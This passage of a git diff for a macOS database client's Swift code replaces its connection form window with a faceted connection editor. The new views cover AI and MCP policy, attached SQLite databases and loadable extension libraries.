apple/TablePro/Views/ConnectionForm/Facets/AdvancedExtensionRows.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Facets/AdvancedFacetView.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Facets/AdvancedListEntry.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Facets/AppearanceFacetView.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Facets/GeneralAuthenticationRows.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Facets/GeneralConnectionRows.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Facets/GeneralFacetView.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorCodeEditor.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorOptionalNumberRow.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorPathRow.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorRowLabel.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorTextRow.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Facets/Rows/PluginFieldRow.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesFacetView.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesJumpHostRows.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesSSHRows.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Facets/SSLFacetView.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Facets/SafeModeFacetView.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Facets/StartupFacetView.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Facets/TransportCommandRows.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Facets/TransportProxyRows.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCloseGuard.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCommitBar.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorDetailViewController.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorPresentations.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorRecordMissingView.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorSidebarViewController.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorSplitViewController.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorToolbar.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorViewController.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowController.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowFrame.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Options.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+SSHAndProxies.swift create mode 100644 apple/TableProTests/Core/Utilities/ConnectionURLEnvironmentTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorWindowTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreOptionsTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreSSHAndProxiesTests.swift diff --git a/apple/TablePro/AppDelegate.swift b/apple/TablePro/AppDelegate.swift index 5e76ec815b..3f27c3a2cf 100644 --- a/apple/TablePro/AppDelegate.swift +++ b/apple/TablePro/AppDelegate.swift @@ -82,7 +82,7 @@ class AppDelegate: NSObject, NSApplicationDelegate { NSWindow.allowsAutomaticWindowTabbing = true WindowOpener.shared.setWelcomePresenter { WelcomeWindowController.present() } - WindowOpener.shared.setConnectionFormPresenter { ConnectionFormWindowController.present($0) } + WindowOpener.shared.setConnectionFormPresenter { ConnectionEditorWindowController.present($0, facet: $1) } WindowOpener.shared.setIntegrationsActivityPresenter { IntegrationsActivityWindowController.present() } WindowOpener.shared.setSettingsPresenter { SettingsWindowController.present(pane: $0) } KeyRepeatFilter.shared.install() diff --git a/apple/TablePro/Core/Database/DatabaseManager+Queries.swift b/apple/TablePro/Core/Database/DatabaseManager+Queries.swift index c22ebed391..a1d69a1c8f 100644 --- a/apple/TablePro/Core/Database/DatabaseManager+Queries.swift +++ b/apple/TablePro/Core/Database/DatabaseManager+Queries.swift @@ -100,7 +100,11 @@ extension DatabaseManager { preparedConfiguration: preparedConfiguration ) let succeeded = try await driver.testConnection() - result = ConnectionTestResult(succeeded: succeeded, warning: driver.connectionWarning) + result = ConnectionTestResult( + succeeded: succeeded, + warning: driver.connectionWarning, + serverVersion: driver.serverVersion + ) } catch { let reportedError = await Self.preferredTunnelFailure(replacing: error) { await self.attributedTunnelFailure(for: connection) diff --git a/apple/TablePro/Core/Services/Infrastructure/ConnectionRecoveryPerformer.swift b/apple/TablePro/Core/Services/Infrastructure/ConnectionRecoveryPerformer.swift index 11be701b3c..1a9391ade3 100644 --- a/apple/TablePro/Core/Services/Infrastructure/ConnectionRecoveryPerformer.swift +++ b/apple/TablePro/Core/Services/Infrastructure/ConnectionRecoveryPerformer.swift @@ -32,7 +32,8 @@ internal enum ConnectionRecoveryPerformer { PluginsSettingsNavigation.shared.reveal(pluginId: pluginId) WindowOpener.shared.openSettings(tab: .plugins) case .editConnection: - WindowOpener.shared.openConnectionForm(editing: connection.id) + // A connect refused over its own settings (an SSL mode the driver lacks, an extension) shows as an issue there. + WindowOpener.shared.openConnectionForm(editing: connection.id, facet: .firstIssue) case .openLocalNetworkSettings: guard let url = localNetworkSettingsURL else { return } NSWorkspace.shared.open(url) diff --git a/apple/TablePro/Core/Services/Infrastructure/WindowOpener.swift b/apple/TablePro/Core/Services/Infrastructure/WindowOpener.swift index 366c740e00..f236aaefde 100644 --- a/apple/TablePro/Core/Services/Infrastructure/WindowOpener.swift +++ b/apple/TablePro/Core/Services/Infrastructure/WindowOpener.swift @@ -14,7 +14,7 @@ internal final class WindowOpener: ObservableObject { nonisolated private static let logger = Logger(subsystem: "com.TablePro", category: "WindowOpener") private var openWelcomeAction: (() -> Void)? - private var openConnectionFormAction: ((ConnectionFormRequest) -> Void)? + private var openConnectionFormAction: ((ConnectionFormRequest, ConnectionEditorFacetChoice?) -> Void)? private var openIntegrationsActivityAction: (() -> Void)? private var openSettingsAction: ((SettingsPane?) -> Void)? private var stagedDraftId: UUID? @@ -47,10 +47,10 @@ internal final class WindowOpener: ObservableObject { } } - internal func openConnectionForm(editing connectionId: UUID) { + internal func openConnectionForm(editing connectionId: UUID, facet: ConnectionEditorFacetChoice? = nil) { perform { opener in guard let present = opener.openConnectionFormAction else { return false } - present(.edit(connectionId: connectionId)) + present(.edit(connectionId: connectionId), facet) return true } } @@ -73,7 +73,7 @@ internal final class WindowOpener: ObservableObject { stagedDraftId = nil perform { opener in guard let present = opener.openConnectionFormAction else { return false } - present(.create(draftId: draftId)) + present(.create(draftId: draftId), nil) return true } } @@ -105,7 +105,7 @@ internal final class WindowOpener: ObservableObject { drainPendingCalls() } - internal func setConnectionFormPresenter(_ present: @escaping (ConnectionFormRequest) -> Void) { + internal func setConnectionFormPresenter(_ present: @escaping (ConnectionFormRequest, ConnectionEditorFacetChoice?) -> Void) { openConnectionFormAction = present drainPendingCalls() } diff --git a/apple/TablePro/Core/Utilities/Connection/ConnectionURLFormatter.swift b/apple/TablePro/Core/Utilities/Connection/ConnectionURLFormatter.swift index a258d6eb3c..845400a9a6 100644 --- a/apple/TablePro/Core/Utilities/Connection/ConnectionURLFormatter.swift +++ b/apple/TablePro/Core/Utilities/Connection/ConnectionURLFormatter.swift @@ -338,9 +338,11 @@ struct ConnectionURLFormatter { colorHex(connection.color).map { "statusColor=\($0)" } } + // The stored name, which ConnectionURLParser.environment(named:) reads back in any language. private static func envParameter(_ connection: DatabaseConnection) -> String? { - guard let tagId = connection.tagIds.first, let tag = TagStorage.shared.tag(for: tagId) else { return nil } - return "env=\(formEncode(tag.name))" + let environment = ConnectionEnvironment.stored(in: connection.additionalFields) + guard environment != .none else { return nil } + return "env=\(environment.rawValue)" } // The standard option names, so the URL opens in other MongoDB tools as well as here: the fields, then the typed diff --git a/apple/TablePro/Core/Utilities/Connection/TransientConnectionFactory.swift b/apple/TablePro/Core/Utilities/Connection/TransientConnectionFactory.swift index a360b333e7..c3d03cb5dd 100644 --- a/apple/TablePro/Core/Utilities/Connection/TransientConnectionFactory.swift +++ b/apple/TablePro/Core/Utilities/Connection/TransientConnectionFactory.swift @@ -36,11 +36,6 @@ internal enum TransientConnectionFactory { color = ConnectionURLParser.connectionColor(fromHex: hex) } - var tagIds: [UUID] = [] - if let envName = parsed.envTag, let resolved = ConnectionURLParser.tagId(fromEnvName: envName) { - tagIds = [resolved] - } - let resolvedSafeMode = parsed.safeModeLevel.flatMap(SafeModeLevel.from(urlInteger:)) ?? .silent var connection = DatabaseConnection( @@ -53,7 +48,6 @@ internal enum TransientConnectionFactory { sshConfig: sshConfig, sslConfig: sslConfig, color: color, - tagIds: tagIds, safeModeLevel: resolvedSafeMode, mongoAuthSource: parsed.authSource, mongoUseSrv: parsed.useSrv, @@ -72,6 +66,9 @@ internal enum TransientConnectionFactory { // A link is a definition from outside: only keys the catalog knows, and selectors stay for the consent prompt. let linkFields = ConnectionFieldCatalog.portable(parsed.additionalFields, keepingLocalCredentials: true) connection.additionalFields.merge(linkFields) { _, imported in imported } + if let environment = parsed.environment { + connection.additionalFields[ConnectionEnvironment.fieldKey] = environment.rawValue + } // The same field mapping as Import from URL, so an opened link reads legacy UUIDs the way its sender set and // its secrets sit where the driver and the backup tools read them. The connection is never saved. diff --git a/apple/TablePro/Models/Connection/ConnectionTestResult.swift b/apple/TablePro/Models/Connection/ConnectionTestResult.swift index 5bd320a319..145d15fb99 100644 --- a/apple/TablePro/Models/Connection/ConnectionTestResult.swift +++ b/apple/TablePro/Models/Connection/ConnectionTestResult.swift @@ -10,9 +10,11 @@ internal struct ConnectionTestResult: Equatable, Sendable { let succeeded: Bool /// The warning the server sent with the login, such as an Oracle password in its grace period. let warning: String? + let serverVersion: String? - init(succeeded: Bool, warning: String? = nil) { + init(succeeded: Bool, warning: String? = nil, serverVersion: String? = nil) { self.succeeded = succeeded self.warning = succeeded ? warning : nil + self.serverVersion = succeeded ? serverVersion : nil } } diff --git a/apple/TablePro/Views/ConnectionForm/ConnectionFormWindowController.swift b/apple/TablePro/Views/ConnectionForm/ConnectionFormWindowController.swift deleted file mode 100644 index b42d8aaa7e..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ConnectionFormWindowController.swift +++ /dev/null @@ -1,75 +0,0 @@ -// -// ConnectionFormWindowController.swift -// TablePro -// - -import AppKit -import SwiftUI - -/// Hosts the connection editor in an AppKit window so the app needs no SwiftUI scene for it. -/// -/// The registry keyed by request is the behaviour `WindowGroup(for:)` gave for free: two windows on -/// the same request would each own a `ConnectionFormCoordinator` writing the same stored -/// connection, so a repeat open focuses the window that exists. -@MainActor -internal final class ConnectionFormWindowController: NSWindowController, NSWindowDelegate { - private static var controllers: [ConnectionFormRequest: ConnectionFormWindowController] = [:] - - private var formCoordinator: ConnectionFormCoordinator? - - internal static func present(_ request: ConnectionFormRequest) { - let controller = controllers[request] ?? ConnectionFormWindowController(request: request) - controllers[request] = controller - controller.showWindow(nil) - controller.window?.makeKeyAndOrderFront(nil) - AppActivationPolicyController.shared.activate() - } - - private static func close(_ request: ConnectionFormRequest) { - controllers[request]?.close() - } - - private convenience init(request: ConnectionFormRequest) { - /// Read once: `consume` removes the draft, so a second call returns nil and the parsed URL - /// would be silently dropped. - let draft = Self.draft(for: request) - let coordinator = ConnectionFormCoordinator( - connectionId: request.editedConnectionId, - initialType: draft?.type, - initialParsedURL: draft?.parsedURL - ) - /// `dismiss()` is inert in a view hosted as a window's content view controller, so the - /// form's save, cancel and delete paths need an explicit way to close the window. - coordinator.dismissAction = { ConnectionFormWindowController.close(request) } - coordinator.start() - - /// One scrolling form, no sidebar: a connection is a single object. No `window.title` here, - /// since `NSWindow(contentViewController:)` binds the title to the controller's own, which - /// tracks the connection's type. - let content = ConnectionFormContentViewController(coordinator: coordinator) - let window = NSWindow(contentViewController: content) - window.identifier = NSUserInterfaceItemIdentifier(WindowIdentifier.connectionForm) - window.keepsKeyViewLoopCurrent() - window.styleMask = [.titled, .closable, .miniaturizable, .resizable] - window.isRestorable = false - window.contentMinSize = NSSize(width: 480, height: 480) - window.setContentSize(NSSize(width: 560, height: 640)) - if let autosaveName = SplitViewAutosaveName.current(WindowIdentifier.connectionForm) { - window.setFrameAutosaveName(autosaveName) - } - - self.init(window: window) - self.formCoordinator = coordinator - window.delegate = self - } - - private static func draft(for request: ConnectionFormRequest) -> ConnectionFormDraft? { - guard let draftId = request.draftId else { return nil } - return ConnectionFormDraftStore.shared.consume(draftId) - } - - internal func windowWillClose(_ notification: Notification) { - formCoordinator?.teardownOnClose() - Self.controllers = Self.controllers.filter { $0.value !== self } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Layout.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Layout.swift index 0c5d4e60dd..bd0f500eb4 100644 --- a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Layout.swift +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Layout.swift @@ -498,12 +498,13 @@ extension ConnectionEditorEngine { var sections = [ SectionLayout(id: "externalClients", title: String(localized: "External Clients"), footer: nil, rows: [.builtIn(.externalAccess)]) ] + // AI Policy also governs MCP clients, so it stays reachable while AI features are off. + var aiRows: [EditorRow] = [.builtIn(.aiPolicy)] + if context.aiEnabled, !draft.ai.alwaysAllowedTools.isEmpty { + aiRows.append(.builtIn(.alwaysAllowedTools)) + } + sections.append(SectionLayout(id: "ai", title: String(localized: "AI"), footer: nil, rows: aiRows)) if context.aiEnabled { - var rows: [EditorRow] = [.builtIn(.aiPolicy)] - if !draft.ai.alwaysAllowedTools.isEmpty { - rows.append(.builtIn(.alwaysAllowedTools)) - } - sections.append(SectionLayout(id: "ai", title: String(localized: "AI"), footer: nil, rows: rows)) sections.append(SectionLayout( id: "aiRules", title: String(localized: "AI Rules"), diff --git a/apple/TablePro/Views/ConnectionForm/Facets/AIAndMCPFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/AIAndMCPFacetView.swift new file mode 100644 index 0000000000..6ff3afe9c5 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/AIAndMCPFacetView.swift @@ -0,0 +1,97 @@ +import SwiftUI + +struct AIAndMCPFacetView: View { + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + Form { + ForEach(sections) { section in + Section { + ForEach(section.rows, id: \.self) { row in + rowView(row) + } + } header: { + if let title = section.title { + Text(verbatim: title) + } + } footer: { + if let footer = footer(for: section) { + Text(verbatim: footer) + } + } + } + } + .formStyle(.grouped) + } + + private var sections: [SectionLayout] { + store.layout.facet(.aiAndMCP)?.sections ?? [] + } + + @ViewBuilder + private func rowView(_ row: EditorRow) -> some View { + switch row { + case .builtIn(.externalAccess): + Picker(selection: store.binding(\.ai.externalAccess)) { + ForEach(ExternalAccessLevel.allCases) { level in + Text(verbatim: level.displayName).tag(level) + } + } label: { + EditorRowLabel(String(localized: "Access"), row: row, store: store) + } + .pickerStyle(.segmented) + .accessibilityIdentifier(row.accessibilityIdentifier) + case .builtIn(.aiPolicy): + Picker(selection: store.binding(\.ai.policy)) { + Text(String(localized: "Use Default")) + .tag(AIConnectionPolicy?.none) + ForEach(AIConnectionPolicy.allCases) { policy in + Text(verbatim: policy.displayName) + .tag(AIConnectionPolicy?.some(policy)) + } + } label: { + EditorRowLabel(String(localized: "AI Policy"), row: row, store: store) + } + .accessibilityIdentifier(row.accessibilityIdentifier) + case .builtIn(.alwaysAllowedTools): + ForEach(store.draft.ai.alwaysAllowedTools, id: \.self) { tool in + LabeledContent { + Button(String(localized: "Forget")) { + store.forgetAlwaysAllowed(tool) + } + .accessibilityLabel(String(format: String(localized: "Forget %@"), tool)) + } label: { + Text(verbatim: tool) + Text(String(localized: "Always allowed")) + } + } + case .builtIn(.aiRules): + EditorCodeEditor(text: store.binding(\.ai.rules), language: .plain, row: row, store: store, minHeight: 120) + case .plugin(let fieldID): + PluginFieldRow(fieldID: fieldID, store: store) + default: + EmptyView() + } + } + + // The engine leaves these footers to the view: they read live state the layout does not carry. + private func footer(for section: SectionLayout) -> String? { + var lines = section.footer.map { [$0] } ?? [] + if section.rows.contains(.builtIn(.externalAccess)) { + if section.footer == nil { + // swiftlint:disable:next line_length + lines.append(String(localized: "Controls how external clients (Raycast, Cursor, Claude Desktop, AppleScript, Shortcuts) access this connection. Tokens cannot exceed this level even with full-access scope.")) + } + if let note = store.externalClientsReadOnlyNote { + lines.append(note) + } + } + if section.rows.contains(.builtIn(.aiPolicy)), section.footer == nil { + lines.append(String(localized: "AI Policy applies to AI features and MCP clients.")) + } + if section.rows.contains(.builtIn(.alwaysAllowedTools)) { + lines.append(String(localized: "Always Allow on an assistant tool card adds the tool here. Forget makes its next call ask again.")) + } + return lines.isEmpty ? nil : lines.joined(separator: "\n") + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/AdvancedAttachedDatabaseRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedAttachedDatabaseRows.swift new file mode 100644 index 0000000000..ff90869051 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedAttachedDatabaseRows.swift @@ -0,0 +1,144 @@ +import AppKit +import SwiftUI + +// The attached databases as rows of their section; the entries keep ids across edits, the stored value does not. +struct AdvancedAttachedDatabaseRows: View { + let fieldID: String + @ObservedObject var store: ConnectionEditorStore + + @State private var model = AttachedDatabaseListModel(encoded: "") + @State private var isEdited = false + @FocusState private var focusedEntry: UUID? + @State private var handledFocusToken: UUID? + + private var row: EditorRow { .plugin(fieldID: fieldID) } + private var value: Binding { store.pluginFieldBinding(fieldID) } + + var body: some View { + ForEach(Array(model.rows.enumerated()), id: \.element.id) { index, entry in + AdvancedListEntry( + primaryTitle: String(localized: "Name"), + secondaryTitle: String(localized: "File"), + notice: AttachedDatabaseFileIssue.issue(forPath: entry.path)?.message, + actionsLabel: String(format: String(localized: "Actions for %@"), entry.name), + canMoveUp: index > 0, + canMoveDown: index < model.rows.count - 1, + onMove: { offset in move(entry.id, by: offset) }, + onRemove: { remove(entry.id) } + ) { + TextField(String(localized: "Name"), text: nameBinding(for: entry.id)) + .labelsHidden() + .textFieldStyle(.roundedBorder) + .focused($focusedEntry, equals: entry.id) + .help(String(localized: "The name a statement uses for this database, as in name.table.")) + } secondary: { + TextField( + String(localized: "Database File"), + text: pathBinding(for: entry.id), + prompt: Text(verbatim: "/path/to/database.db") + ) + .labelsHidden() + .textFieldStyle(.roundedBorder) + } + } + + if model.isUnreadable { + NoticeLabel(String(localized: "The saved list could not be read. Adding a database replaces it.")) + } + + LabeledContent { + Button(String(localized: "Attach Database…")) { + Task { await chooseFiles() } + } + .accessibilityIdentifier("connection-attached-databases-add") + } label: { + if let issue = EditorIssueVisibility.issue(for: row, in: store, isEdited: isEdited) { + NoticeLabel(issue.message, severity: issue.severity == .error ? .error : .warning) + } else if model.rows.isEmpty { + Text(String(localized: "No Attached Databases")) + .foregroundStyle(.secondary) + } + } + .onAppear { + reload() + focus(store.focusRequest) + } + .onChange(of: value.wrappedValue) { _ in reload() } + .onChange(of: store.focusRequest) { focus($0) } + } + + private func nameBinding(for id: UUID) -> Binding { + Binding( + get: { model.rows.first { $0.id == id }?.name ?? "" }, + set: { newValue in + model.setName(newValue, for: id) + commit() + } + ) + } + + private func pathBinding(for id: UUID) -> Binding { + Binding( + get: { model.rows.first { $0.id == id }?.path ?? "" }, + set: { newValue in + model.setPath(newValue, for: id) + commit() + } + ) + } + + private func reload() { + guard !model.matches(encoded: value.wrappedValue) else { return } + model = AttachedDatabaseListModel(encoded: value.wrappedValue) + } + + private func commit() { + isEdited = true + let encoded = model.encoded + guard value.wrappedValue != encoded else { return } + value.wrappedValue = encoded + } + + private func move(_ id: UUID, by offset: Int) { + guard let index = model.rows.firstIndex(where: { $0.id == id }) else { return } + let target = index + offset + guard model.rows.indices.contains(target) else { return } + model.move(fromOffsets: IndexSet(integer: index), toOffset: offset > 0 ? target + 1 : target) + commit() + } + + private func remove(_ id: UUID) { + _ = model.remove([id]) + commit() + } + + // The issue names no entry, so the first name field takes the focus. + private func focus(_ request: FocusRequest?) { + guard let request, request.row == row, request.token != handledFocusToken else { return } + handledFocusToken = request.token + let target = model.rows.first?.id + DispatchQueue.main.async { focusedEntry = target } + } + + private func chooseFiles() async { + let panel = NSOpenPanel() + let rule = DatabaseFileBrowseRule(type: store.draft.type, extensions: store.traits.fileExtensions) + let filter = PanelEnableFilter(isEnabled: rule.isEnabled) + panel.title = String(localized: "Attach Database") + panel.prompt = String(localized: "Attach") + panel.message = String(localized: "Choose the database files to attach each time this connection opens.") + panel.allowsMultipleSelection = true + panel.canChooseDirectories = false + panel.delegate = filter + let response: NSApplication.ModalResponse + if let window = EditorFilePanel.window(for: store) { + response = await panel.presentAsSheet(for: window) + } else { + response = await panel.begin() + } + withExtendedLifetime(filter) {} + guard response == .OK else { return } + _ = model.add(paths: panel.urls.map { $0.path(percentEncoded: false) }) + commit() + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/AdvancedExtensionRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedExtensionRows.swift new file mode 100644 index 0000000000..ac2f9898c6 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedExtensionRows.swift @@ -0,0 +1,177 @@ +import AppKit +import SwiftUI +import UniformTypeIdentifiers + +// The extension libraries as rows of their section, loaded in this order; Add is the only way an entry is created. +struct AdvancedExtensionRows: View { + let fieldID: String + @ObservedObject var store: ConnectionEditorStore + + @State private var model = LoadableExtensionListModel(encoded: "") + @State private var isEdited = false + @FocusState private var focusedEntry: UUID? + @State private var handledFocusToken: UUID? + + private var row: EditorRow { .plugin(fieldID: fieldID) } + private var value: Binding { store.pluginFieldBinding(fieldID) } + + var body: some View { + ForEach(Array(model.rows.enumerated()), id: \.element.id) { index, entry in + AdvancedListEntry( + primaryTitle: String(localized: "File"), + secondaryTitle: String(localized: "Entry Point"), + notice: LoadableExtensionFileIssue.issue(forPath: entry.path)?.message, + actionsLabel: String( + format: String(localized: "Actions for %@"), + (entry.path as NSString).lastPathComponent + ), + canMoveUp: index > 0, + canMoveDown: index < model.rows.count - 1, + onMove: { offset in move(entry.id, by: offset) }, + onRemove: { remove(entry.id) } + ) { + TextField( + String(localized: "Extension File"), + text: pathBinding(for: entry.id), + prompt: Text(verbatim: "/opt/homebrew/lib/mod_spatialite.dylib") + ) + .labelsHidden() + .textFieldStyle(.roundedBorder) + .focused($focusedEntry, equals: entry.id) + } secondary: { + TextField( + String(localized: "Entry Point"), + text: entryPointBinding(for: entry.id), + prompt: Text(String(localized: "Default entry point")) + ) + .labelsHidden() + .textFieldStyle(.roundedBorder) + .help(String(localized: "The initialization function to call. Leave empty to use the one SQLite derives from the file name.")) + } + } + + if model.isUnreadable { + NoticeLabel(String(localized: "The saved list could not be read. Adding an extension replaces it.")) + } + + LabeledContent { + Button(String(localized: "Add Extension…")) { + Task { await chooseFiles() } + } + .accessibilityIdentifier("connection-extensions-add") + } label: { + if let issue = EditorIssueVisibility.issue(for: row, in: store, isEdited: isEdited) { + NoticeLabel(issue.message, severity: issue.severity == .error ? .error : .warning) + } else if model.rows.isEmpty { + Text(String(localized: "No Extensions")) + .foregroundStyle(.secondary) + } + } + .onAppear { + reload() + focus(store.focusRequest) + } + .onChange(of: value.wrappedValue) { _ in reload() } + .onChange(of: store.focusRequest) { focus($0) } + } + + private func pathBinding(for id: UUID) -> Binding { + Binding( + get: { model.rows.first { $0.id == id }?.path ?? "" }, + set: { newValue in + model.setPath(newValue, for: id) + commit() + } + ) + } + + private func entryPointBinding(for id: UUID) -> Binding { + Binding( + get: { model.rows.first { $0.id == id }?.entryPoint ?? "" }, + set: { newValue in + model.setEntryPoint(newValue, for: id) + commit() + } + ) + } + + private func reload() { + guard !model.matches(encoded: value.wrappedValue) else { return } + model = LoadableExtensionListModel(encoded: value.wrappedValue) + } + + private func commit() { + isEdited = true + let encoded = model.encoded + guard value.wrappedValue != encoded else { return } + value.wrappedValue = encoded + } + + private func move(_ id: UUID, by offset: Int) { + guard let index = model.rows.firstIndex(where: { $0.id == id }) else { return } + let target = index + offset + guard model.rows.indices.contains(target) else { return } + model.move(fromOffsets: IndexSet(integer: index), toOffset: offset > 0 ? target + 1 : target) + commit() + } + + private func remove(_ id: UUID) { + _ = model.remove([id]) + commit() + } + + // The issue names no entry, so the first file field takes the focus. + private func focus(_ request: FocusRequest?) { + guard let request, request.row == row, request.token != handledFocusToken else { return } + handledFocusToken = request.token + let target = model.rows.first?.id + DispatchQueue.main.async { focusedEntry = target } + } + + private func chooseFiles() async { + let panel = NSOpenPanel() + let validator = AdvancedExtensionPanelValidator() + panel.title = String(localized: "Add Extension") + panel.prompt = String(localized: "Add") + panel.message = String(localized: "Choose the SQLite extension libraries to load when this connection opens.") + panel.allowsMultipleSelection = true + panel.canChooseDirectories = false + panel.resolvesAliases = false + panel.allowedContentTypes = AdvancedExtensionPanelValidator.contentTypes + panel.delegate = validator + let response: NSApplication.ModalResponse + if let window = EditorFilePanel.window(for: store) { + response = await panel.presentAsSheet(for: window) + } else { + response = await panel.begin() + } + withExtendedLifetime(validator) {} + guard response == .OK else { return } + _ = model.add(paths: panel.urls.map { $0.path(percentEncoded: false) }) + commit() + } +} + +// The panel's content types only dim other files and `.so` has no type of its own, so a pick is checked here too. +private final class AdvancedExtensionPanelValidator: NSObject, NSOpenSavePanelDelegate { + static let contentTypes: [UTType] = [ + UTType(filenameExtension: "dylib"), + UTType(filenameExtension: "so"), + UTType(filenameExtension: "bundle") + ] + .compactMap { $0 } + + func panel(_ sender: Any, validate url: URL) throws { + guard !MachOFile.isMachO(atPath: url.path(percentEncoded: false)) else { return } + throw NSError( + domain: NSCocoaErrorDomain, + code: NSFileReadCorruptFileError, + userInfo: [ + NSLocalizedDescriptionKey: String( + format: String(localized: "\"%@\" is not a library."), + url.lastPathComponent + ) + ] + ) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/AdvancedFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedFacetView.swift new file mode 100644 index 0000000000..6607d61057 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedFacetView.swift @@ -0,0 +1,139 @@ +import SwiftUI +import TableProAutocomplete + +struct AdvancedFacetView: View { + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + Form { + ForEach(sections) { section in + Section { + ForEach(section.rows, id: \.self) { row in + rowView(row) + } + } header: { + if let title = section.title { + Text(verbatim: title) + } + } footer: { + if let footer = footer(for: section) { + Text(verbatim: footer) + } + } + } + } + .formStyle(.grouped) + } + + private var sections: [SectionLayout] { + store.layout.facet(.advanced)?.sections ?? [] + } + + @ViewBuilder + private func rowView(_ row: EditorRow) -> some View { + switch row { + case .builtIn(.connectTimeout): + EditorOptionalNumberRow( + String(localized: "Connect timeout"), + value: store.binding(\.options.connectTimeoutSeconds), + defaultValue: ConnectionTimeoutPolicy.defaultConnectTimeoutSeconds, + range: DatabaseConnection.connectTimeoutSecondsRange, + unit: String(localized: "seconds"), + row: row, + store: store + ) + .help(connectTimeoutHelp) + case .builtIn(.queryTimeout): + AdvancedQueryTimeoutRow(row: row, store: store, settings: store.services.appSettings) + case .builtIn(.binaryInlineLimit): + EditorOptionalNumberRow( + String(localized: "Load binary values up to"), + value: store.binding(\.options.binaryInlineLimitKilobytes), + defaultValue: UnloadedValuePlan.defaultInlineByteLimit / 1_024, + range: DatabaseConnection.binaryInlineLimitKilobytesRange, + unit: String(localized: "KB"), + row: row, + store: store + ) + case .builtIn(.identifierCase): + Picker(selection: store.binding(\.options.completionIdentifierCase)) { + ForEach(SQLIdentifierCase.allCases, id: \.self) { identifierCase in + Text(verbatim: Self.title(for: identifierCase)).tag(identifierCase) + } + } label: { + EditorRowLabel(String(localized: "Identifier case"), row: row, store: store) + } + .accessibilityIdentifier(row.accessibilityIdentifier) + case .builtIn(.localOnly): + Toggle(isOn: store.binding(\.options.localOnly)) { + EditorRowLabel(String(localized: "Local only"), row: row, store: store) + } + .accessibilityIdentifier(row.accessibilityIdentifier) + case .plugin(let fieldID): + pluginRow(fieldID) + default: + EmptyView() + } + } + + // A list's entries are rows of its section, never a List nested in the form. + @ViewBuilder + private func pluginRow(_ fieldID: String) -> some View { + switch store.pluginFieldKind(fieldID) { + case .attachedDatabases?: + AdvancedAttachedDatabaseRows(fieldID: fieldID, store: store) + case .loadableExtensions?: + AdvancedExtensionRows(fieldID: fieldID, store: store) + default: + PluginFieldRow(fieldID: fieldID, store: store) + } + } + + private func footer(for section: SectionLayout) -> String? { + guard section.rows.contains(.builtIn(.localOnly)), store.removesSyncedSecretsOnSave else { + return section.footer + } + let removal = String(localized: "Saving removes its passwords from iCloud Keychain. Your other devices will need them entered again.") + return [section.footer, removal].compactMap { $0 }.joined(separator: "\n") + } + + private var connectTimeoutHelp: String { + String( + format: String(localized: """ + Maximum time for TCP, TLS, authentication, tunnel, and proxy setup. \ + Leave blank to use the %d-second default. + """), + ConnectionTimeoutPolicy.defaultConnectTimeoutSeconds + ) + } + + private static func title(for identifierCase: SQLIdentifierCase) -> String { + switch identifierCase { + case .asStored: return 